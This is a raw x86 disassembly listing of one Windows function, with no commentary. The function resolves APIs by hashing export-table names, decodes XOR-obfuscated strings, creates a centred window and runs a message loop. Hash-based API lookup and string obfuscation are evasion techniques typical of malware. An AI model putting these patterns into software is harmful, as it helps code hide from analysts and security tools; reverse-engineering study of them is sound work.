mov ch, 0x7d
mov dh, 0x58
mov byte [esp + 0x10], 0x69
xor cl, al
mov byte [esp + 0x64], 0
xor dl, al
mov byte [esp + 0x5e], cl
xor ch, al
mov byte [esp + 0x5f], dl
xor dh, al
mov byte [esp + 0x61], ch
mov ah, 0x61
mov byte [esp + 0x62], dh
xor ah, al
mov byte [esp + 0x64], 0
mov al, byte [esp + 0x10]
lea ecx, [esp + 0x5d]
xor al, byte [esp + 0x5c]
lea edx, [ecx + 1]
mov byte [esp + 0x60], ah
mov byte [esp + 0x63], al
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c7620
sub ecx, edx
lea eax, [esp + 0x5d]
push ecx
push eax
lea ecx, [esp + 0x250]
call fcn.004b7f90
lea ecx, [esp + 0x248]
call fcn.004b7770
mov edi, dword [0x4dc870]
xor edx, edx
mov dword [esp + 0x20], edx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0xf1e2842d
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7692
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7675
cmp edx, 0x1c7bc485
je 0x4c769b
inc dword [esp + 0x20]
add esi, 4
jmp 0x4c7665
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x20]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edi
add eax, edi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x208]
add eax, edi
push ecx
call eax
mov edx, dword [0x4dc880]
xor edi, edi
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edx
nop word [eax + eax]
mov ecx, dword [esi]
add ecx, edx
mov edx, 0xcd334cfd
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c770d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c76f0
cmp edx, 0x6055e880
je 0x4c7719
mov edx, dword [0x4dc880]
inc edi
add esi, 4
jmp 0x4c76e0
mov eax, dword [esp + 0x18]
mov edx, dword [0x4dc880]
push 0xf
push 0xf
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
push 0x258
push 0x190
push 0
movzx eax, word [eax + edi*2]
push 0
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov dword [esp + 0x24], eax
xor edi, edi
mov eax, dword [0x4dc870]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x78]
add ecx, eax
mov dword [esp + 0x18], ecx
mov esi, dword [ecx + 0x20]
add esi, eax
mov ecx, dword [esi]
mov edx, 0xe3d2d09f
add ecx, eax
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7794
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7777
cmp edx, 0xa48c2fe7
je 0x4c779f
mov eax, dword [0x4dc870]
inc edi
add esi, 4
jmp 0x4c7767
mov eax, dword [esp + 0x18]
mov edx, dword [0x4dc870]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
mov dword [esp + 0x20], eax
call esi
cdq
sub eax, edx
sar eax, 1
sub eax, 0x12c
push 0
mov dword [esp + 0x1c], eax
call esi
cdq
sub eax, edx
mov edi, eax
sar edi, 1
sub edi, 0xc8
call fcn.004c3490
lea ecx, [esp + 0x310]
mov esi, eax
call fcn.004b74d0
push 0
push 0
push 0
push 0
push 0x257
push 0x18f
push dword [esp + 0x30]
push edi
push 0x96000000
push esi
push eax
push 0x20
call dword [esp + 0x4c]
mov dword [0x4dc864], eax
xor edi, edi
mov eax, dword [0x4dc870]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x78]
add ecx, eax
mov dword [esp + 0x18], ecx
mov esi, dword [ecx + 0x20]
add esi, eax
nop
mov ecx, dword [esi]
mov edx, 0x4ca75c29
add ecx, eax
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c786d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7850
cmp edx, 0xc2abe27a
je 0x4c7878
mov eax, dword [0x4dc870]
inc edi
add esi, 4
jmp 0x4c7840
mov eax, dword [esp + 0x18]
mov edx, dword [0x4dc870]
push 0
push dword [esp + 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
push dword [0x4dc864]
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov cl, 0xf
mov byte [esp + 0x16], 0
sub esp, 0x18
mov byte [esp + 0x2c], cl
mov al, 0x26
mov byte [esp + 0x2e], 0
xor al, cl
mov esi, esp
mov ecx, esi
mov byte [esp + 0x2d], al
call fcn.004b8bd0
lea ecx, [esp + 0x2d]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c78d0
sub ecx, edx
lea eax, [esp + 0x2d]
push ecx
push eax
mov ecx, esi
call fcn.004b8860
lea ecx, [esp + 0x248]
call fcn.004c2240
add esp, 0x18
mov ecx, eax
call fcn.004b74d0
mov edi, eax
mov dword [esp + 0x1c0], 0x2f222166
mov cl, 0x66
mov dword [esp + 0x1c4], 0xf31464d
mov dword [esp + 0x1c8], 0x11090208
xor eax, eax
mov word [esp + 0x1cc], 0x4e46
mov byte [esp + 0x1ce], 0
xor byte [esp + eax + 0x1c1], cl
inc eax
cmp eax, 0xd
jae 0x4c794b
mov cl, byte [esp + 0x1c0]
jmp 0x4c7935
lea eax, [esp + 0x2bc]
mov byte [esp + 0x1ce], 0
push eax
sub esp, 0x18
mov esi, esp
mov ecx, esi
call fcn.004b8bd0
lea ecx, [esp + 0x1dd]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c7971
sub ecx, edx
lea eax, [esp + 0x1dd]
push ecx
push eax
mov ecx, esi
call fcn.004b8860
lea ecx, [esp + 0x264]
call fcn.004c2240
add esp, 0x18
mov ecx, eax
call fcn.004b74d0
mov edx, eax
lea ecx, [esp + 0x27c]
call fcn.004c8190
mov edx, edi
add esp, 4
lea esi, [edx + 2]
mov cx, word [edx]
add edx, 2
test cx, cx
jne 0x4c79b6
sub edx, esi
mov ecx, eax
sar edx, 1
push edx
push edi
call fcn.004c8120
push eax
lea ecx, [esp + 0x32c]
call fcn.004c1a20
lea ecx, [esp + 0x278]
call fcn.004b7bf0
lea ecx, [esp + 0x248]
call fcn.004b7bf0
lea ecx, [esp + 0x230]
call fcn.004b7bf0
mov edi, dword [0x4dc870]
mov eax, dword [edi + 0x3c]
mov ecx, dword [eax + edi + 0x78]
xor eax, eax
add ecx, edi
mov dword [esp + 0x20], eax
mov dword [esp + 0x18], ecx
mov esi, dword [ecx + 0x20]
add esi, edi
mov dword [esp + 0x1c], esi
mov ecx, dword [esi]
mov edx, 0xa96fd611
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7a4e
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7a31
cmp edx, 0x3b3de407
je 0x4c7a57
inc dword [esp + 0x20]
add esi, 4
jmp 0x4c7a21
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x1c]
mov ecx, dword [eax + 0x24]
mov edx, dword [eax + 0x1c]
mov eax, dword [esp + 0x20]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x24], edx
lea eax, [ecx + eax*2]
movzx eax, word [eax + edi]
lea eax, [edx + eax*4]
mov eax, dword [eax + edi]
add eax, edi
mov dword [esp + 0x28], eax
xor eax, eax
mov dword [esp + 0x20], eax
nop word [eax + eax]
mov ecx, dword [esi]
mov edx, 0xa26fcb0c
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7abd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7aa0
cmp edx, 0x64dcd78
je 0x4c7ac6
inc dword [esp + 0x20]
add esi, 4
jmp 0x4c7a90
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x20]
lea eax, [ecx + eax*2]
mov ecx, dword [esp + 0x24]
movzx eax, word [eax + edi]
lea eax, [ecx + eax*4]
mov esi, dword [eax + edi]
lea ecx, [esp + 0x328]
add esi, edi
call fcn.004b74d0
push eax
push 0
call esi
push 0
push 0
push 0x10
push eax
call dword [esp + 0x38]
xorps xmm0, xmm0
mov dword [esp + 0x308], 0
movaps xmmword [esp + 0x2f0], xmm0
movq qword [esp + 0x300], xmm0
nop dword [eax]
mov edi, dword [0x4dc870]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop
mov ecx, dword [esi]
mov edx, 0x9e3674c9
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7b6d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7b50
cmp edx, 0xbdffc54a
je 0x4c7b76
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7b40
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
push 0
push 0
mov eax, dword [edx + 0x24]
push 0
push dword [0x4dc864]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
lea ecx, [esp + 0x300]
add eax, edi
push ecx
call eax
xor ecx, ecx
mov dword [esp + 0x14], ecx
test eax, eax
je 0x4c7e42
mov edi, dword [0x4dc870]
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop
mov ecx, dword [esi]
mov edx, 0x989ca528
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7bfd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7be0
cmp edx, 0x72f6b86c
je 0x4c7c06
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7bd0
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
push 0
push 0
mov eax, dword [edx + 0x24]
push dword [0x4dc864]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
lea ecx, [esp + 0x2fc]
add eax, edi
push ecx
call eax
test eax, eax
jne 0x4c7d3a
mov edi, dword [0x4dc86c]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0xe568cfac
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7c8d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7c70
cmp edx, 0xe2bc7418
je 0x4c7c96
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7c60
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
push dword [0x4dc874]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
xor ecx, ecx
call fcn.004c8680
mov edi, dword [0x4dc87c]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0xb16bac33
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7d0d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7cf0
cmp edx, 0x8fccb14
je 0x4c7d16
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7ce0
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
push 1
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
add esp, 4
mov edi, dword [0x4dc870]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0x61909ee
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7d8d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7d70
cmp edx, 0x960550db
je 0x4c7d96
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7d60
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x2f0]
mov ecx, dword [esp + 0x14]
push eax
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov edi, dword [0x4dc870]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0x32f173d4
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7e0d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7df0
cmp edx, 0xd57f0a26
je 0x4c7e16
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7de0
lea eax, [esp + 0x2f0]
push eax
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
jmp 0x4c7b20
mov edi, dword [0x4dc86c]
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop word [eax + eax]
mov ecx, dword [esi]
mov edx, 0xe337891
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7e8d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7e70
cmp edx, 0xe66a84a5
je 0x4c7e96
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7e60
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
test eax, eax
jne 0x4c7f14
mov edi, dword [0x4dc86c]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0xef244875
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7f04
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7ee7
cmp edx, 0x8c0580b8
je 0x4c7f0d
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7ed7
push 1
jmp 0x4c7e1e
push 0
lea ecx, [esp + 0x200]
call fcn.004c21a0
push 0x4d9c0c
lea eax, [esp + 0x200]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3